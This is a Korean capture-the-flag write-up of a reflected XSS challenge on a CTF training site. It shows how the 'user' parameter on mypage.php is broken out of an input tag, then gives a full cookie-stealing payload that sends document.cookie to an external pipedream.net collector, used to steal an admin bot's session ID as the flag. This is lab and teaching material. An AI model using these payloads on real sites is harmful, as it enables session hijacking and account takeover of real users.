XSS 3
1. XSS 포인트
경로 : /xss_3/mypage.php
개인정보를 확인할 수 있는 마이페이지에 접속해 보니,
GET 메서드로 "user" 파라미터를 받아
해당 데이터를 사용자의 ID 란에 출력해 주는 것을 추측할 수 있다.
"uesr" 파라미터의 임의의 값을 넣어 요청·응답 패킷을 보니,
<input> 태그의 placeholder 속성 값으로 파라미터 값이 넘어가는 것을 확인할 수 있다.
(* Reflected XSS 포인트 확인)
2. 특수문자 필터링 확인하기
"user" 파라미터를 이용해
사용 가능한 특수문자를 확인해 보니,
모든 특수문자가 사용 가능한 것을 확인했다.
3. 스크립트 삽입
xss_test"/><script>alert(1)</script><br"
사용 가능한 특수문자를 이용해
input 태그를 닫고,
POC 스크립트를 작성한 뒤,
empty 태그인 <br> 태그로 <input> 태그를 닫는 "/> 문자열을 커버하여 요청을 보내보니,
http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=xss_test"/><script>alert(1)</script><br"
악성 스크립트로 대변한 POC 스크립트가 동작하는 것을 볼 수 있다.
4. 예상 피해
- 사용자 쿠키 탈취 : document.cookie
- 사용자 개인정보 탈취 : keylogger
- 악성코드 다운 & 실행
- 피싱 사이트 강제 이동 : location.href
만약 공격자가 POC 코드 대신에
위와 같은 악성 스크립트를 작성한 다음,
해당 url을 일반 사용자에게 접근하도록 유도한다면
일반 사용자의 웹 브라우저에서 공격 스크립트가 동작해
피해가 발생할 것으로 보인다.
5. 쿠키 탈취
<script>var i = new Image(); i.scr = "공격자_서버_주소/?cookie="+document.cookie;<script>
쿠키 탈취 스크립트를 작성하고,
xss_test"/><script>var i = new Image(); i.src = "https://en88y0voes91u.x.pipedream.net/?cookie="%2Bdocument.cookie;</script><br"
작성해 둔 Reflected XSS 페이로드에서
alert 대신 쿠키 탈취 스크립트를 넣은 다음,
완성된 페이로드를 user 파라미터에 담아 get 요청을 전달하면,
서버의 응답에서 쿠키 탈취 스크립트가 정상적으로 삽입된 것을 확인할 수 있다.
http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=
xss_test"/><script>var+i+=+new+Image();i.src+=+"https://en88y0voes91u.x.pipedream.net/?cookie="%2Bdocument.cookie;</script><br"
완성된 URL로 접근 시,
공격자 서버에 세션 ID가 출력되는 것을 볼 수 있다.
이후 작성한 공격 URL을
관리자 봇이 접근할 수 있도록 입력해 보니,
공격자 서버에서
피해자인 관리자의 세션 ID
즉, FLAG를 얻을 수 있었다.